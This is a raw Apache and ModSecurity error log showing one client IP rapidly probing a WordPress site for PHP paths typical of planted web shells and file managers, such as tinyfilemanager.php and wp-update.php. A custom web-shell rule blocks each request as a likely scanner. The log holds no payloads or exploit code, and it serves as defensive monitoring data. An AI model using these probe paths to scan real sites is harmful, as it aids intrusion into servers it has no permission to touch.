[Wed Apr 22 19:41:16.488574 2026] [:error] [pid 9085:tid 9101] [client 134.149.32.112:25882] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aeiz3N-_-or9vQnlWnpArAAAAU4"]
[Wed Apr 22 19:41:18.129679 2026] [:error] [pid 9085:tid 9109] [client 134.149.32.112:22516] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aeiz3t-_-or9vQnlWnpAuAAAAVY"]
[Wed Apr 22 19:41:19.865590 2026] [:error] [pid 6251:tid 6306] [client 134.149.32.112:15732] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aeiz3ysFAzbyObL-SQ5xswAAAJU"]
[Wed Apr 22 19:41:21.330197 2026] [proxy_fcgi:error] [pid 6384:tid 6396] [client 134.149.32.112:19048] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:41:21.584022 2026] [proxy_fcgi:error] [pid 6384:tid 6387] [client 134.149.32.112:19048] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:41:21.840131 2026] [proxy_fcgi:error] [pid 6384:tid 6406] [client 134.149.32.112:19048] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:41:22.096878 2026] [proxy_fcgi:error] [pid 6384:tid 6393] [client 134.149.32.112:19048] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:41:22.368566 2026] [proxy_fcgi:error] [pid 6384:tid 6403] [client 134.149.32.112:19048] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:41:22.635638 2026] [proxy_fcgi:error] [pid 6384:tid 6395] [client 134.149.32.112:19048] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:41:23.198296 2026] [proxy_fcgi:error] [pid 6384:tid 6388] [client 134.149.32.112:19048] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:41:23.464310 2026] [proxy_fcgi:error] [pid 6384:tid 6408] [client 134.149.32.112:19048] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:41:24.855388 2026] [proxy_fcgi:error] [pid 6384:tid 6410] [client 134.149.32.112:19048] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:41:25.121832 2026] [proxy_fcgi:error] [pid 6384:tid 6407] [client 134.149.32.112:19048] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:41:28.122588 2026] [:error] [pid 6384:tid 6402] [client 134.149.32.112:19048] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeiz6D58M3t15ICeWHUXxQAAAM8"]
[Wed Apr 22 19:41:30.919335 2026] [:error] [pid 6344:tid 6359] [client 134.149.32.112:32187] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeiz6kDOTF-pkQnDeUnd0QAAAAo"]
[Wed Apr 22 19:41:35.365050 2026] [:error] [pid 6344:tid 6360] [client 134.149.32.112:25859] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeiz70DOTF-pkQnDeUnd1QAAAAs"]
[Wed Apr 22 19:41:40.782442 2026] [:error] [pid 6384:tid 6388] [client 134.149.32.112:1341] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeiz9D58M3t15ICeWHUX4QAAAME"]
[Wed Apr 22 19:41:44.618562 2026] [:error] [pid 6384:tid 6391] [client 134.149.32.112:14975] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeiz-D58M3t15ICeWHUX6QAAAMQ"]
[Wed Apr 22 19:41:49.072125 2026] [:error] [pid 9085:tid 9094] [client 134.149.32.112:21417] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeiz_d-_-or9vQnlWnpA8AAAAUc"]
[Wed Apr 22 19:41:53.925889 2026] [:error] [pid 6252:tid 6315] [client 134.149.32.112:1113] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aei0AetGYuiYb1nWBpRBNwAAAQM"]
[Wed Apr 22 19:42:02.648235 2026] [:error] [pid 6250:tid 6266] [client 134.149.32.112:18502] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aei0Cg-iZeQkqmQVfj7-YQAAAEw"]
[Wed Apr 22 19:42:04.817452 2026] [:error] [pid 6250:tid 6276] [client 134.149.32.112:1575] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aei0DA-iZeQkqmQVfj7-ZgAAAFY"]
[Wed Apr 22 19:42:08.274118 2026] [:error] [pid 6344:tid 6371] [client 134.149.32.112:19743] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aei0EEDOTF-pkQnDeUnd8wAAABY"]
[Wed Apr 22 19:42:09.609270 2026] [:error] [pid 23776:tid 23787] [client 134.149.32.112:25369] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aei0EbRExf-1pAbSeJvUawAAAYk"]
[Wed Apr 22 19:42:11.423482 2026] [:error] [pid 6384:tid 6411] [client 134.149.32.112:18996] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aei0Ez58M3t15ICeWHUYHgAAANg"]
[Wed Apr 22 19:42:12.897197 2026] [:error] [pid 6250:tid 6272] [client 134.149.32.112:15193] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aei0FA-iZeQkqmQVfj7-dgAAAFI"]
[Wed Apr 22 19:42:14.405838 2026] [:error] [pid 9085:tid 9093] [client 134.149.32.112:34835] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aei0Ft-_-or9vQnlWnpBGQAAAUY"]
[Wed Apr 22 19:42:16.901280 2026] [:error] [pid 6384:tid 6406] [client 134.149.32.112:1805] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aei0GD58M3t15ICeWHUYJgAAANM"]
[Wed Apr 22 19:42:18.082686 2026] [:error] [pid 23776:tid 23791] [client 134.149.32.112:18008] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aei0GrRExf-1pAbSeJvUfQAAAY0"]
[Wed Apr 22 19:42:20.874155 2026] [:error] [pid 6384:tid 6401] [client 134.149.32.112:14670] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aei0HD58M3t15ICeWHUYLgAAAM4"]
[Wed Apr 22 19:42:22.748809 2026] [:error] [pid 6250:tid 6269] [client 134.149.32.112:34850] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aei0Hg-iZeQkqmQVfj7-fgAAAE8"]
[Wed Apr 22 19:42:25.036160 2026] [proxy_fcgi:error] [pid 6252:tid 6319] [client 134.149.32.112:29484] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:42:25.312791 2026] [proxy_fcgi:error] [pid 6252:tid 6313] [client 134.149.32.112:29484] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:42:25.598743 2026] [proxy_fcgi:error] [pid 6252:tid 6333] [client 134.149.32.112:29484] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:42:25.885570 2026] [proxy_fcgi:error] [pid 6252:tid 6334] [client 134.149.32.112:29484] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:42:26.440683 2026] [proxy_fcgi:error] [pid 6252:tid 6330] [client 134.149.32.112:29484] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:42:26.753502 2026] [proxy_fcgi:error] [pid 6252:tid 6312] [client 134.149.32.112:29484] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:42:27.030812 2026] [proxy_fcgi:error] [pid 6252:tid 6314] [client 134.149.32.112:29484] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:42:27.323019 2026] [proxy_fcgi:error] [pid 6252:tid 6328] [client 134.149.32.112:29484] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:42:27.600015 2026] [proxy_fcgi:error] [pid 6252:tid 6316] [client 134.149.32.112:29484] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:42:27.893337 2026] [proxy_fcgi:error] [pid 6252:tid 6315] [client 134.149.32.112:29484] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 19:42:28.165146 2026] [:error] [pid 6252:tid 6325] [client 134.149.32.112:29484] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aei0JOtGYuiYb1nWBpRBZQAAAQ0"]
[Wed Apr 22 19:42:29.809150 2026] [:error] [pid 9085:tid 9096] [client 134.149.32.112:26364] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aei0Jd-_-or9vQnlWnpBNQAAAUk"]
[Wed Apr 22 19:42:31.198904 2026] [:error] [pid 6384:tid 6391] [client 134.149.32.112:16484] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aei0Jz58M3t15ICeWHUYOgAAAMQ"]
[Wed Apr 22 19:42:32.007157 2026] [:error] [pid 6344:tid 6349] [client 134.149.32.112:19723] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aei0KEDOTF-pkQnDeUneBwAAAAA"]
[Wed Apr 22 19:42:32.928135 2026] [:error] [pid 9085:tid 9106] [client 134.149.32.112:34853] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aei0KN-_-or9vQnlWnpBSQAAAVM"]
[Wed Apr 22 19:42:33.735816 2026] [:error] [pid 6344:tid 6362] [client 134.149.32.112:25374] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aei0KUDOTF-pkQnDeUneCQAAAA0"]
[Wed Apr 22 19:42:34.566548 2026] [:error] [pid 9085:tid 9091] [client 134.149.32.112:19720] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aei0Kt-_-or9vQnlWnpBUAAAAUQ"]
[Wed Apr 22 19:42:35.516220 2026] [:error] [pid 9085:tid 9111] [client 134.149.32.112:19726] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aei0K9-_-or9vQnlWnpBVAAAAVg"]
[Wed Apr 22 19:42:36.270513 2026] [:error] [pid 9085:tid 9101] [client 134.149.32.112:19770] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aei0LN-_-or9vQnlWnpBVQAAAU4"]
[Wed Apr 22 19:42:37.268316 2026] [:error] [pid 9085:tid 9092] [client 134.149.32.112:1779] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aei0Ld-_-or9vQnlWnpBWQAAAUU"]
[Wed Apr 22 19:42:38.216213 2026] [:error] [pid 9085:tid 9101] [client 134.149.32.112:16486] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aei0Lt-_-or9vQnlWnpBXwAAAU4"]
[Wed Apr 22 19:42:39.213025 2026] [:error] [pid 6250:tid 6257] [client 134.149.32.112:31476] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "aei0Lw-iZeQkqmQVfj7-kQAAAEM"]
[Wed Apr 22 19:42:40.156739 2026] [:error] [pid 6250:tid 6262] [client 134.149.32.112:28336] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aei0MA-iZeQkqmQVfj7-lAAAAEg"]
[Wed Apr 22 19:42:41.107351 2026] [:error] [pid 6250:tid 6278] [client 134.149.32.112:18018] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aei0MQ-iZeQkqmQVfj7-lQAAAFg"]
[Wed Apr 22 19:42:42.286466 2026] [:error] [pid 6384:tid 6411] [client 134.149.32.112:28332] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aei0Mj58M3t15ICeWHUYTQAAANg"]
[Wed Apr 22 19:42:43.154310 2026] [:error] [pid 6344:tid 6352] [client 134.149.32.112:25623] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aei0M0DOTF-pkQnDeUneGwAAAAM"]
[Wed Apr 22 19:42:44.792047 2026] [:error] [pid 6250:tid 6274] [client 134.149.32.112:31470] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aei0NA-iZeQkqmQVfj7-mAAAAFQ"]
[Wed Apr 22 19:42:45.992574 2026] [:error] [pid 9085:tid 9108] [client 134.149.32.112:18759] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aei0Nd-_-or9vQnlWnpBZwAAAVU"]
[Wed Apr 22 19:42:47.331502 2026] [:error] [pid 9085:tid 9090] [client 134.149.32.112:18786] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aei0N9-_-or9vQnlWnpBbQAAAUM"]
[Wed Apr 22 19:42:48.814562 2026] [:error] [pid 6384:tid 6396] [client 134.149.32.112:28309] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aei0OD58M3t15ICeWHUYYgAAAMk"]
[Wed Apr 22 19:42:51.650342 2026] [:error] [pid 6250:tid 6255] [client 134.149.32.112:25112] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aei0Ow-iZeQkqmQVfj7-mQAAAEE"]
[Wed Apr 22 19:42:53.327457 2026] [:error] [pid 6384:tid 6407] [client 134.149.32.112:25144] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aei0PT58M3t15ICeWHUYcQAAANQ"]
[Wed Apr 22 19:42:54.755293 2026] [:error] [pid 9085:tid 9096] [client 134.149.32.112:36871] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aei0Pt-_-or9vQnlWnpBcwAAAUk"]
[Wed Apr 22 19:42:56.445048 2026] [:error] [pid 6250:tid 6268] [client 134.149.32.112:36910] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aei0QA-iZeQkqmQVfj7-pgAAAE4"]
[Wed Apr 22 19:42:58.681363 2026] [:error] [pid 6344:tid 6362] [client 134.149.32.112:30681] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aei0QkDOTF-pkQnDeUneJwAAAA0"]
[Wed Apr 22 19:43:01.773210 2026] [:error] [pid 9085:tid 9093] [client 134.149.32.112:18804] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aei0Rd-_-or9vQnlWnpBewAAAUY"]
[Wed Apr 22 19:43:03.877028 2026] [:error] [pid 6384:tid 6405] [client 134.149.32.112:28351] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aei0Rz58M3t15ICeWHUYewAAANI"]
[Wed Apr 22 19:43:06.315982 2026] [:error] [pid 23776:tid 23785] [client 134.149.32.112:31439] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aei0SrRExf-1pAbSeJvUsQAAAYc"]
[Wed Apr 22 19:43:07.614654 2026] [:error] [pid 6384:tid 6401] [client 134.149.32.112:32612] [client 134.149.32.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aei0Sz58M3t15ICeWHUYhwAAAM4"]
